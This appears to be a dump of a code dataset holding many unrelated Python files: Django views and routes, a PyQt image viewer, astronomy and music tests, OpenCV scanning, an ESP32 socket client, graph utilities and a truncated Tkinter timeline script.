}\n\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\telse:\n\t\treturn HttpResponseNotAllowed(['GET', 'PUT', 'DELETE'])\n\treturn HttpResponse(\"API call for prop #\" + prop_id)\n\ndef props_by_name(request):\n\tif request.method == \"GET\":\n\t\ttry:\n\t\t\tresponse_data = []\n\t\t\tname = request.GET.get('name','')\n\t\t\tif name == '':\n\t\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\t\tprops = Prop.objects.filter(name=name)\n\t\t\tfor prop in props:\n\t\t\t\tentry = {\n\t\t\t\t\t\"id\" : prop.id,\n\t\t\t\t\t\"name\" : prop.name,\n\t\t\t\t\t\"description\" : prop.description,\n\t\t\t\t\t\"url\" : prop.image.url\n\t\t\t\t}\n\t\t\t\tresponse_data.append(entry)\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn HttpResponse(status=404)\n\telse:\n\t\treturn HttpResponseNotAllowed(['GET'])\n\ndef save_file(file, path=''):\n\t''' Little helper to save a file\n\t'''\n\tfilename = file._get_name()\n\tts = str(int(time.time()))\n\tabsolute_path = '%s/%s%s-%s' % (settings.MEDIA_ROOT, str(path), ts, str(filename))\n\tfd = storage.open(absolute_path, 'wb')\n\tfor chunk in file.chunks():\n\t\tfd.write(chunk)\n\tfd.close()\n\treturn '%s-%s' % (ts, str(filename))","sub_path":"API/todelete.py","file_name":"todelete.py","file_ext":"py","file_size_in_byte":20157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"172748839","text":"#!/usr/bin/env python\n'''\nCopyright - See the COPYRIGHT that is included with this distribution.\n    NTNDA_Viewer is distributed subject to a Software License Agreement found\n    in file LICENSE that is included with this distribution.\n\nauthor Marty Kraimer\n    latest date 2020.03.02\n    original development started 2019.12\n'''\n\nfrom NTNDA_Viewer import NTNDA_Viewer,NTNDA_Channel_Provider\nfrom pvaccess import *\nimport sys\nfrom threading import Event\nfrom PyQt5.QtWidgets import QApplication\nfrom PyQt5.QtCore import QObject,pyqtSignal\n\nclass GetChannel(object) :\n    '''\n       This exists because whenever a new channel was started a crash occured\n    '''\n    def __init__(self, parent=None):\n        self.save = dict()\n    def get(self,channelName) :\n        channel = self.save.get(channelName)\n        if channel!=None : return channel\n        channel = Channel(channelName)\n        self.save.update({channelName : channel})\n        return channel\n\nclass PVAPYProvider(QObject,NTNDA_Channel_Provider) :\n    callbacksignal = pyqtSignal()\n    def __init__(self):\n        QObject.__init__(self)\n        NTNDA_Channel_Provider.__init__(self)\n        self.getChannel = GetChannel()\n        self.callbacksignal.connect(self.mycallback)\n        self.callbackDoneEvent = Event()\n\n    def start(self) :\n        self.channel = self.getChannel.get(self.getChannelName())\n        self.channel.monitor(self.pvapycallback,\n              'field(value,dimension,codec,compressedSize,uncompressedSize)')\n    def stop(self) :\n        self.channel.stopMonitor()\n    def done(self) :\n        pass\n    def pvapycallback(self,arg) :\n        self.struct = arg;\n        self.callbacksignal.emit()\n        self.callbackDoneEvent.wait()\n        self.callbackDoneEvent.clear()\n    def callback(self,arg) :\n        self.NTNDA_Viewer.callback(arg)\n    def mycallback(self) :\n        struct = self.struct\n        arg = dict()\n        try :\n            val = struct['value'][0]\n            if len(val) != 1 :\n                raise Exception('value length not 1')\n            element = None\n            for x in val :\n                element = x\n            if element == None : \n                raise Exception('value is not numpy  array')\n            value = val[element]\n            arg['value'] = value\n            arg['dimension'] = struct['dimension']\n            codec = struct['codec']\n            codecName = codec['name']\n            if len(codecName)<1 :\n                arg['codec'] = struct['codec']\n            else :\n                parameters = codec['parameters']\n                typevalue = parameters[0]['value']\n                cod = dict()\n                cod['name'] = codecName\n                cod['parameters'] = typevalue\n                arg['codec'] = cod\n            arg['compressedSize'] = struct['compressedSize']\n            arg['uncompressedSize'] = struct['uncompressedSize']\n            self.callback(arg)\n            self.callbackDoneEvent.set()\n            return\n        except Exception as error:\n            arg[\"exception\"] = repr(error)\n            self.callback(arg)\n            self.callbackDoneEvent.set()\n            return\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    PVAPYProvider = PVAPYProvider()\n    channelName = \"\"\n    nargs = len(sys.argv)\n    if nargs>=2 :\n        channelName = sys.argv[1]\n    PVAPYProvider.setChannelName(channelName)\n    viewer = NTNDA_Viewer(PVAPYProvider,\"PVAPY\")\n    sys.exit(app.exec_())\n\n","sub_path":"Python/PY_NTNDA_Viewer/PVAPY_NTNDA_Viewer.py","file_name":"PVAPY_NTNDA_Viewer.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"144180658","text":"\"\"\"\nTest for extract_1d._fit_background_model\n\"\"\"\nimport math\n\nimport numpy as np\n\nfrom jwst.extract_1d import extract1d\n\ndef test_fit_background_model():\n\n    shape = (9, 5)\n    image = np.arange(shape[0] * shape[1], dtype=np.float32).reshape(shape)\n    x = 2\n    j = 2\n\n    b_lower = np.zeros(shape[1], dtype=np.float64) + 3.5    # 4, inclusive\n    b_upper = np.zeros(shape[1], dtype=np.float64) + 4.5    # 4, inclusive\n    bkglim = [[b_lower, b_upper]]\n    bkg_order = 0\n\n    (bkg_model, npts) = extract1d._fit_background_model(\n                        image, x, j, bkglim, bkg_order)\n\n    assert math.isclose(bkg_model(0.), 22.0, rel_tol=1.e-8, abs_tol=1.e-8)\n    assert math.isclose(bkg_model(8.), 22.0, rel_tol=1.e-8, abs_tol=1.e-8)\n\n    assert npts == 2\n\n    image[:, 2] = np.nan\n\n    (bkg_model, npts) = extract1d._fit_background_model(\n                        image, x, j, bkglim, bkg_order)\n\n    assert math.isclose(bkg_model(0.), 0.0, rel_tol=1.e-8, abs_tol=1.e-8)\n    assert math.isclose(bkg_model(8.), 0.0, rel_tol=1.e-8, abs_tol=1.e-8)\n\n    assert npts == 0\n","sub_path":"jwst/extract_1d/tests/test_fit_background_model.py","file_name":"test_fit_background_model.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"244293448","text":"from sqlalchemy import *\nfrom sqlalchemy.ext.declarative import declarative_base\nimport datetime\n\nBase = declarative_base()\n\n\nclass UserInfo(Base):\n    __tablename__ = 'USERINFO'\n\n    id = Column(Integer, primary_key = True)\n    username = Column(String)\n    client_database_id = Column(Integer)\n    start_time = Column(DateTime)\n    end_time = Column(DateTime)\n    total_time = Column(BigInteger)\n    idle_time = Column(BigInteger)\n    messege_sent = Column(Boolean)\n    online = Column(Boolean)\n\n\nengine = create_engine(\n    \"postgresql://postgres:hog55555@localhost:5432/teamspeak\"\n)\n\nBase.metadata.create_all(engine)","sub_path":"create_database.py","file_name":"create_database.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"376055865","text":"#-*-coding:utf-8-*-\r\n\r\nfrom global_utils import es_user_profile,profile_index_name,profile_index_type,\\\r\n                        es_xnr,weibo_xnr_index_name,weibo_xnr_index_type,\\\r\n                        weibo_xnr_fans_followers_index_name,weibo_xnr_fans_followers_index_type\r\nfrom parameter import MAX_SEARCH_SIZE\r\n\r\n# 保存至粉丝和关注者列表\r\n# input: xnr_user_no--对应的虚拟人,fan_follow_uid-- 要保存的粉丝或关注者uid,\r\n#        save_type-- 保存类型，粉丝为 'fans',关注者为 'followers'\r\n# output: 保存是否成功\r\ndef save_to_fans_follow_ES(xnr_user_no,fan_follow_uid,save_type):\r\n\ttry:\r\n\t\tes_results = es.get(index=weibo_xnr_fans_followers_index_name,doc_type=weibo_xnr_fans_followers_index_type,\\\r\n\t\t\t\t\t\t\tid=xnr_user_no)['_source']\r\n\t\tif save_type == 'fans':\r\n\t\t\tfans_uid_list = json.loads(es_results['fans_list'])\r\n\t\t\tif fan_follow_uid in fans_uid_list:\r\n\t\t\t\tmark = True\r\n\t\t\telse:\r\n\t\t\t\tfans_uid_list.append(fan_follow_uid)\r\n\t\telse:\r\n\t\t\tfollowers_uid_list = json.loads(es_results['followers_list'])\r\n\t\t\tif fan_follow_uid in followers_uid_list:\r\n\t\t\t\tmark = True\r\n\t\t\telse:\r\n\t\t\t\tfollowers_uid_list.append(fan_follow_uid)\r\n\texcept:\r\n\t\titem = dict()\r\n\t\tif save_type == 'fans':\r\n\t\t\titem['fans_list'] = [fan_follow_uid]\r\n\t\telse:\r\n\t\t\titem['followers_list'] = [fan_follow_uid]\r\n\t\ttry:\r\n\t\t\tes.index(index=weibo_xnr_fans_followers_index_name,doc_type=weibo_xnr_fans_followers_index_type,\\\r\n\t\t\t\tid=xnr_user_no,body=item)\r\n\r\n\t\t\tmark = True\r\n\t\texcept:\r\n\t\t\tmark = False \r\n\r\n\treturn mark","sub_path":"xnr_0429/xnr/save_utils.py","file_name":"save_utils.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"575853728","text":"from http.server import *\nfrom http import cookies\n\ndef parse_info(data):\n    data = data.split('\\r\\n')\n    cm = {}\n    for i in data:\n        t = i.split('=')\n        cm[t[0]] = t[1]\n    ret = '<p>Sorry, no content here :(</p>|'\n    return ret\n\nclass SHTTPRH(SimpleHTTPRequestHandler):\n    def do_POST(self):\n        # Doesn't do anything with posted data\n        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data\n        post_data = self.rfile.read(content_length) # <--- Gets the data itself\n        post_data = post_data.decode('utf-8')\n        print(post_data)\n        ret = parse_info(post_data)\n        \n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text/html\")\n        self.end_headers()\n        self.wfile.write(ret.encode('utf-8'))\n\n        f = self.send_head()\n        if f:\n            f.close()\n\nserver_address = ('', 80)\nhttpd = HTTPServer(server_address, SHTTPRH)\nhttpd.RequestHandlerClass.default_request_version = 'HTTP/1.1'\n#httpd.RequestHandlerClass.error_message_format = '<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\\n\"http://www.w3.org/TR/html4/strict.dtd\">\\n<html>\\n<head>\\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\">\\n<title>Error %(code)d  %(message)s</title>\\n</head>\\n<body>\\n<h1>Error %(code)d</h1>\\n<img src=\"https://http.cat/%(code)d\" width=\"350\">\\n<p>Error code: %(code)d</p>\\n<p>Message: %(message)s.</p>\\n<p>Error code explanation: %(code)s - %(explain)s.</p>\\n</body>\\n</html>'\nhttpd.serve_forever()\n","sub_path":"httpserver.py","file_name":"httpserver.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"213771027","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.dashboard),\n    path('pedidos/', views.pedidos),\n    path('clientes/', views.clientes),\n    path('pedidos/<int:id>/', views.verPedido),\n    path('pedidos/<int:id>/editar/', views.editarPedido),\n    path('pedidos/<int:id>/borrar/', views.borrarPedido),\n    path('clientes/<int:id>/', views.actualizarCliente),\n    path('clientes/<int:id>/editar/', views.editarCliente),\n    path('clientes/<int:id>/borrar/', views.borrarCliente),\n]","sub_path":"dashboard/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"622229665","text":"\nfrom PIL import Image\n\nimport socket\nimport sys\n\n# -----------  Config  ----------\nPORT = 8881\nIP_VERSION = 'IPv4'\nIPV4 = '192.168.4.1'\nIPV6 = 'FE80::32AE:A4FF:FE80:5288'\nBUFFER_SIZE = 1024\n# -------------------------------\n\nif IP_VERSION == 'IPv4':\n    family_addr = socket.AF_INET\n    host = IPV4\nelif IP_VERSION == 'IPv6':\n    family_addr = socket.AF_INET6\n    host = IPV6\nelse:\n    print('IP_VERSION must be IPv4 or IPv6')\n    sys.exit(1)\n\ntry:\n    sock = socket.socket(family_addr, socket.SOCK_STREAM)\nexcept socket.error as msg:\n        print('Could not create socket: ' + str(msg[0]) + ': ' + msg[1])\n        sys.exit(1)\n\ntry:\n    sock.connect((host, PORT))\nexcept socket.error as msg:\n        print('Could not open socket: ', msg)\n        sock.close()\n        sys.exit(1)\n        \n\nreading_data = False\nbyte_arr = bytearray()\nbyte_idx = 0\nstate = 0\n\nwhile 1:\n    s = sock.recv(1)#ser.read()\n    if not s:\n        break\n    #print('got: ')\n    #print(s)\n    if reading_data:\n        if byte_idx % 2 == 1:\n            byte_arr.append(ord(s))\n        byte_idx += 1\n        if (byte_idx == 50112):\n            reading_data = False\n            byte_idx = 0\n            print(\"Transfer complete\")\n            img = Image.frombuffer('L', (174, 144), byte_arr)\n            img.show()\n    \n    elif s == b'\\xFF':\n        state += 1\n    else:\n        state = 0\n\n    if state == 3:\n        print(\"Reading...\")\n        reading_data = True\n        state = 0\n    \n    #print(s)\n    \"\"\"\n    if s == b'\\xFF':\n        if reading_data:\n            print(\"Data finished\")\n            reading_data = False\n        else:\n            print(\"Reading data\")\n            reading_data = True\n\n    \"\"\"\n    #print(s.decode('utf-8'), end='')\n\nsock.close()","sub_path":"PythonCode/Esp32Demo.py","file_name":"Esp32Demo.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"462478307","text":"import numpy as np\r\nimport cv2\r\nfrom skimage.filters import threshold_local\r\n\r\ntry:\r\n    cap.release()\r\nexcept: \r\n    pass\r\n\r\n\r\ncap = cv2.VideoCapture(1) \r\ndoc=False\r\nwhile(True):\r\n    ret, img = cap.read()\r\n   # img = cv2.flip( img, 1 ) \r\n    #img = cv2.resize(img, (0,0), fx=0.1, fy=0.1)\r\n    img = cv2.resize(img, (400,600))\r\n    if cv2.waitKey(1) & 0xFF == ord('a'):\r\n        doc = False\r\n        \r\n                   \r\n\r\n    \r\n    img2 = img.copy()\r\n\r\n    rows, cols, chan=img2.shape\r\n\r\n    imgray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n    gray = cv2.GaussianBlur(imgray, (5, 5), 0)\r\n    edges2 = cv2.Canny(gray, 75, 200)\r\n\r\n    #edges1 = cv2.Canny(imgray,100,300)\r\n    #edges1 = cv2.Canny(imgray,219,390)\r\n\r\n    #edges2 = cv2.GaussianBlur(edges1,(5,5),0)\r\n\r\n    _,contours, hierarchy = cv2.findContours(edges2,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\r\n\r\n    #print(len(contours))\r\n    #print(len(approx))        \r\n    cnts = sorted(contours, key = cv2.contourArea, reverse = True)[:10]#give me the 10 biggest contours\r\n        #find the biggest area\r\n    #c = max(contours, key = cv2.contourArea)\r\n\r\n    for cc in cnts:\r\n        \r\n\r\n        cv2.drawContours(img, cc,-1 , (0,255,0), 3)\r\n        epsilon = 0.09*cv2.arcLength(cc,True)\r\n        approx = cv2.approxPolyDP(cc,epsilon,True)\r\n        if len(approx) == 4:\r\n                    if doc == False:\r\n                        pts1 = np.float32(approx.reshape(-1,2))\r\n                        pts2 = np.float32([[0,0],[cols,0],[0,rows],[cols,rows]])\r\n                        hold= pts1[1].copy()\r\n                        pts1[1] = pts1[0].copy()\r\n                        pts1[0] = hold\r\n                        for i,xx in enumerate(pts1):\r\n                        #cv2.circle(img2,tuple(xx), 55, (0,255,0), -1)\r\n                             cv2.putText(img2,str(i),tuple(xx), cv2.FONT_HERSHEY_SIMPLEX, 1, (200,255,155), 2, cv2.LINE_AA)\r\n\r\n\r\n\r\n                        M = cv2.getPerspectiveTransform(pts1,pts2)\r\n\r\n                        dst = cv2.warpPerspective(img2,M,(cols,rows))\r\n                        #dst = cv2.adaptiveThreshold(dst,80,cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY,5,5)\r\n                        #dst = cv2.adaptiveThreshold(dst,80,cv2.ADAPTIVE_THRESH_GAUSSIAN_C,cv2.THRESH_BINARY,5,5)\r\n                        #T = threshold_local(dst, 11, offset = 11, method = \"gaussian\")\r\n                        #dst = (dst > T).astype(\"uint8\") * 255\r\n\r\n                        cv2.imshow('dst',dst)\r\n\r\n                        cv2.imshow('image',img)\r\n                        doc = True\r\n\r\n\r\n\r\n\r\n    cv2.imshow('edges',edges2)\r\n                #cv2.imshow('blurr',edges2)\r\n\r\n    cv2.imshow('imaee',img)\r\n    if cv2.waitKey(1) & 0xFF == ord('q'):\r\n       break\r\n\r\n#cv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\ncap.release()","sub_path":"docscan.py","file_name":"docscan.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"341293676","text":"\"\"\"\nAlgorithmicThinking-Project1-DegreeDistributionsForGraphs\n\"\"\"\nEX_GRAPH0 = {0: set([1,2]),\n             1: set(),\n             2: set()}\nEX_GRAPH1 = {0: set([1,4,5]),\n             1: set([2,6]),\n             2: set([3]),\n             3: set([0]),\n             4: set([1]),\n             5: set([2]),\n             6: set()}\nEX_GRAPH2 = {0: set([1,4,5]),\n             1: set([2,6]),\n             2: set([3,7]),\n             3: set([7]),\n             4: set([1]),\n             5: set([2]),\n             6: set(),\n             7: set([3]),\n             8: set([1,2]),\n             9: set([0,3,4,5,6,7])}\n\ndef make_complete_graph(num_nodes):\n    \"\"\" Makes a 'complete' graph having a given no. of nodes \"\"\"\n    complete_graph = {}\n    if num_nodes > 1:\n        for node_no in range(0, num_nodes):\n            complete_graph[node_no] = set([num for num in range(0, num_nodes) if num!=node_no])\n    elif num_nodes == 1:\n        complete_graph[0] = set([])\n    return complete_graph;\n\ndef compute_in_degrees(digraph):\n    \"\"\" Computes the in_degrees for the nodes in a digraph \"\"\"\n    in_degrees_dict = {}\n    if len(digraph) > 0:\n        for node, to_nodes in digraph.iteritems():\n            if node not in in_degrees_dict:\n                in_degrees_dict[node] = 0\n            if(len(to_nodes) > 0):\n                for to_node in to_nodes:\n                    if to_node in in_degrees_dict:\n                        in_degrees_dict[to_node] += 1\n                    else:\n                        in_degrees_dict[to_node] = 1\n    return in_degrees_dict;\n\ndef in_degree_distribution(digraph):\n    \"\"\" Computes the unnormalized distribution of the in-degrees of the graph \"\"\"\n    in_degrees_dist = {}\n    in_degrees_dict = {}\n    if len(digraph) > 0:\n        for node, to_nodes in digraph.iteritems():\n            if node not in in_degrees_dict:\n                in_degrees_dict[node] = 0\n            if(len(to_nodes) > 0):\n                for to_node in to_nodes:\n                    if to_node in in_degrees_dict:\n                        in_degrees_dict[to_node] += 1\n                    else:\n                        in_degrees_dict[to_node] = 1\n        for to_node, in_degree in in_degrees_dict.iteritems():\n            if in_degree in in_degrees_dist:\n                in_degrees_dist[in_degree] += 1\n            else:\n                in_degrees_dist[in_degree] = 1\n    return in_degrees_dist;\n","sub_path":"DirectedGraphs.py","file_name":"DirectedGraphs.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"119532087","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\n@author: HJK\n@file: test_addon_migu2.py\n@time: 2019-06-10\n\"\"\"\nimport sys\nsys.path.append(\"..\")\nfrom music_dl import config\nconfig.init()\nfrom music_dl.addons import migu2\n\n\ndef test_migu2():\n    songs_list = migu2.search(\"丢了你\",\"井胧\")\n    print(songs_list)\n    assert songs_list is not None\n\nif __name__ == '__main__':\n    test_migu2()\n","sub_path":"tests/test_addon_migu2.py","file_name":"test_addon_migu2.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"465496643","text":"\"\"\"\n    Exercise 2. Try rewriting the code below using map,\n    reduce and filter. Filter takes a function and a\n    collection. It returns a collection of every item\n    for which the function returned True.\n\n    people = [{'name': 'Mary', 'height': 160},\n              {'name': 'Isla', 'height': 80},\n              {'name': 'Sam'}]\n\n    height_total = 0\n    height_count = 0\n\n    for person in people:\n        if 'height' in person:\n            height_total += person['height']\n            height_count += 1\n\n    if height_count > 0:\n        average_height = height_total / height_count\n\n        print(average_height)\n        # => 120\n\"\"\"\nfrom functools import reduce\nfrom operator import add\n\npeople = [\n    {\"name\": \"Mary\", \"height\": 160},\n    {\"name\": \"Isla\", \"height\": 80},\n    {\"name\": \"Sam\"}\n]\n\nheights = map(lambda x: x[\"height\"], filter(lambda x: \"height\" in x, people))\n\nif len(heights) > 0:\n    average_height = reduce(add, heights) / len(heights)\n","sub_path":"python/exercise_2.py","file_name":"exercise_2.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"312328945","text":"\nclass SellMomentum:\n    \"\"\"10% 이상 손실이 발생하면 매도 한다.\"\"\"\n    def __init__(self, ):\n        self.max_rate = 0.9\n        self.max_close = 0\n        self.datas = []\n        self.data_list = []\n        self.data_index_map = {}\n        self.compare_close = False\n\n    def set_datas(self, datas):\n        self.datas = datas\n        self.data_list = list(self.datas)\n        for index, data in enumerate(self.data_list):\n            self.data_index_map[data.date] = index\n\n    def should_i_sell(self, date):\n        # 인덱스 얻기\n        index = self.data_index_map[date]\n\n        compare_days = 20\n\n        if index < compare_days:\n            return False\n\n        prev_index = index - compare_days\n        prev_data = self.data_list[prev_index]\n        next_data = self.data_list[index]\n\n        if next_data.close < prev_data.close:\n            return True\n\n        return False\n\n    def set_close(self, close):\n        if self.compare_close and close > self.max_close:\n            self.max_close = close\n\n    def set_close_start(self):\n        self.compare_close = True\n\n\n\n","sub_path":"stock/strategy/SellMomentum.py","file_name":"SellMomentum.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"231716979","text":"import copy\n\nimport cv2 as cv\nimport numpy as np\n\nclass findRectangel():\n    def __init__(self, ID=None, configDB=None):\n        print(self.__class__.__name__ + ': Initialize...', end='')\n\n        self.config = {\n        'FindRechtangel':1,\n        'FindRechtangel_mode':'cv.RETR_EXTERNAL',\n        'FindRechtangel_method':'cv.CHAIN_APPROX_SIMPLE',\n        'FindRechtangel_minArea':100,\n        'FindRechtangel_maxArea':101}\n\n        self.imgOverlay = None\n\n        self.centroids = None\n        self.centroidsCm = None\n        self.boundingbox = None\n        self.pixelPerMeter = None\n\n\n\n        if isinstance(ID, int) and configDB is not None:\n            self.setConfig(configDB, ID)\n        print('DONE')\n    def setMeterPerPixel(self, pixelPerMeter):\n            self.pixelPerMeter = pixelPerMeter\n\n    def setConfig(self, configDB, configID, debug=False):\n        self.config = configDB.getConfig('ContoursConfig', configID, subModul=list(self.config.keys())[0], debug=debug)\n\n    def setMeterPerPixel(self,MeterPerPixel):\n        self.MeterPerPixel = MeterPerPixel\n\n\n    def process(self, src, imgOverlay, tFrame):\n        # set Timstamp\n        self.tFrame = tFrame\n\n        imgOverlay = copy.copy(imgOverlay)\n        # https://docs.opencv.org/master/dd/d49/tutorial_py_contour_features.html\n        mode = eval(self.config['FindRechtangel_mode'])  # https://docs.opencv.org/3.4/d3/dc0/group__imgproc__shape.html#ga819779b9857cc2f8601e6526a3a5bc71\n        method = eval(self.config['FindRechtangel_method'])  # https://docs.opencv.org/3.4/d3/dc0/group__imgproc__shape.html#ga4303f45752694956374734a03c54d5ff\n\n        minArea = self.config['FindRechtangel_minArea']\n        maxArea = self.config['FindRechtangel_maxArea']\n\n        # https://docs.opencv.org/3.4/d3/dc0/group__imgproc__shape.html#ga17ed9f5d79ae97bd4c7cf18403e1689a\n        contours, hierarchy = cv.findContours(src, mode, method)\n        contoursFilterd = []\n        contoursAprox = []\n        contoursRejected = []\n        angels = []\n        for contor in contours:\n            area = cv.contourArea(contor)\n            # filter for area\n            if minArea < area < maxArea:\n                aprox = cv.approxPolyDP(contor, cv.arcLength(contor, True) * 0.05, True)\n                # filter for only shapes with 4 corners\n                if aprox.size == 8:\n                    # https://docs.opencv.org/master/d3/dc0/group__imgproc__shape.html#ga0012a5fdaea70b8a9970165d98722b4c\n                    rect = cv.minAreaRect(aprox)\n                    box = cv.boxPoints(rect)\n                    box = np.int0(box)\n                    angel = rect[2]\n                    cv.drawContours(imgOverlay, [box], 0, (0, 0, 255), 2)\n                    cv.putText(imgOverlay, str(round(angel, 0)), (box[0][0], box[0][1]), cv.FONT_HERSHEY_SIMPLEX, 1,\n                               (255, 255, 255), 2)\n                    contoursAprox.append(aprox)\n                    angels.append(angel)\n            else:\n                contoursRejected.append(contor)\n        self.boundingbox = contoursAprox\n\n\n        # set Meter per Pixel\n        pixelPerMeter = self.MeterPerPixel()\n        pixelPerCm = pixelPerMeter * 100\n\n        center = []\n        angelSelect = []\n        if len(contoursAprox) > 0:\n            for iCont, contour in enumerate(contoursAprox):\n                newCenter = self.center(contour)\n                center.append(newCenter)\n                newAngel = angels[iCont]\n                angelSelect.append(newAngel)\n                cv.circle(imgOverlay, (newCenter[0], newCenter[1]), 10, (0, 0, 255), -1)\n                xCm = round(newCenter[0]*pixelPerCm, 1)\n                yCm = round(newCenter[1]*pixelPerCm, 1)\n                cv.putText(imgOverlay, '('+str(xCm)+'/'+str(yCm)+')', (newCenter[0], newCenter[1]), cv.FONT_HERSHEY_SIMPLEX, 1,(255, 255, 255), 2)\n\n        self.angels = angelSelect\n        self.centroids = center\n\n        self.imgOverlay = imgOverlay\n\n    def getView(self):\n        return copy.copy(self.imgOverlay)\n\n    def viewProcess(self):\n\n        if self.MeterPerPixel() is not None:\n            p1 = (40, 20)\n            p2 = (40, 20 + int(0.5/self.MeterPerPixel()))\n            cv.line(self.imgOverlay, p1, p2, (255, 255, 0), 4)\n            cv.putText(self.imgOverlay, '0.5 Meter', p1, cv.FONT_HERSHEY_SIMPLEX, 1, (0, 210, 0), thickness=2)\n        cv.imshow(\"Object detection\", cv.resize(self.imgOverlay, (0, 0), fx=0.60, fy=0.60))\n\n    def center(self, points):\n        M = cv.moments(points)\n        cX = int(M[\"m10\"] / M[\"m00\"])\n        cY = int(M[\"m01\"] / M[\"m00\"])\n        return [cX,cY]\n\n    def getAngel(self, iCont):\n        return self.angels[iCont]\n\n    def getMeasurements(self, pixelToMeter, debug=False):\n        measuerments = [self.tFrame]\n        centroids = self.centroids\n        centroidsCm = self.centroidsCm\n        angels =  self.angels\n        if centroids != None:\n            boundingboxes = self.boundingbox\n            for i in list(range(len(centroids))):\n                centroid = centroids[i]\n                angel = angels[i]\n                boundingbox = boundingboxes[i]\n\n                dictMeasuer = {\n                    \"centroid\": centroid,\n                    \"angel\": angel,\n                    \"boundingbox\": boundingbox,\n                    \"time\": self.tFrame,\n                    \"pixelToMeter\" : pixelToMeter\n                }\n                measuerments.append(dictMeasuer)\n        return measuerments\n\n# Demo\nif __name__ == '__main__':\n    import src.config.dbManager as dbManager\n    import sys\n    import src.imgProcessing.hsv_mask as hsv_mask\n    print('DEMO dbManager ')\n    print('')\n    mask = hsv_mask.hsv_mask()\n\n    confMan = dbManager.configManager()\n    find = findRectangel(7, confMan)\n\n    img = cv.imread(\"Demos/DSC01873.JPG\")\n    src = mask.process(img)\n\n    if img is None:\n        sys.exit(\"Could not read the image.\")\n    disp, data = find.process(src, img)\n    cv.imshow(\"Display window\", cv.resize(src,(0,0),fx=0.2, fy=0.2))\n    k = cv.waitKey(0)\n    if k == ord(\"s\"):\n        cv.destroyAllWindows()\n\n\n","sub_path":"src/imgProcessing/findRectangel.py","file_name":"findRectangel.py","file_ext":"py","file_size_in_byte":6080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"464442805","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n#这个是灰色背景的，没有用，不要用这个了。\nimport tkinter as tk\nfrom tkinter import *\nfrom newestMyPython3 import *\n\n#字体设置\nglobal ft\nft = getfont(fontsize=135)\nfto = getfont(fontsize=150)\n\n#canvas的长和宽设定\nglobal cx\ncx = 7000\nglobal cy\ncy = 1320\n#纵屏截图，拼图，分割。。。\n\n#Y轴的步子\nglobal sy\nsy = 34\n\n#开始位置及时间AA,BC的设定\nglobal bx\nbx = 0 -3500\nglobal by\nby = sy \nglobal bAA\nbAA = 1\nglobal bBC\nbBC = 3969\n\n#画面X轴和Y轴的缩放系数\nglobal kx\nkx = 1.5\nglobal ky\nky = 1\n\n#canvase开始画画,没有明确纪年的，推算的时间的。如族长时代们～\ndef cr(cvst, who, whenson, age, color, other='空白'):\n    global ft\n    global cy\n    global bx\n    global by\n    global bAA\n    global bBC\n    global kx\n    global ky\n    def bAD(after=0):#通过BC计算AD\n        global bBC\n        return 1-(bBC-after)\n\n    def colorto(color1):#切换字色\n        if color1 == '#00FFFF':\n            return '#FF0000'\n        elif color1 == '#FFFF00':\n            return '#0000FF'\n        elif color1 == '#00FF00':\n            return '#FF00FF'\n        elif color1 == '#FFFFFF':\n            return color1\n        else:\n            return 'black'\n\n    if bAA == 1:#刚开始时画标尺\n        cvst.create_line(1,(sy/2)*ky,cx*kx,(sy/2)*ky,fill='black')#上线\n        cvst.create_line(1,(cy-sy/2)*ky,cx*kx,(cy-sy/2)*ky,fill='black')#下线\n        for ix in [i*100 for i in range(int(cx/100))]:\n            cvst.create_line(ix*kx,(sy/4)*ky,ix*kx,sy*0.7*ky,fill='black')#上线标尺\n            cvst.create_text(ix*kx,sy*0.95*ky,text='AA' + 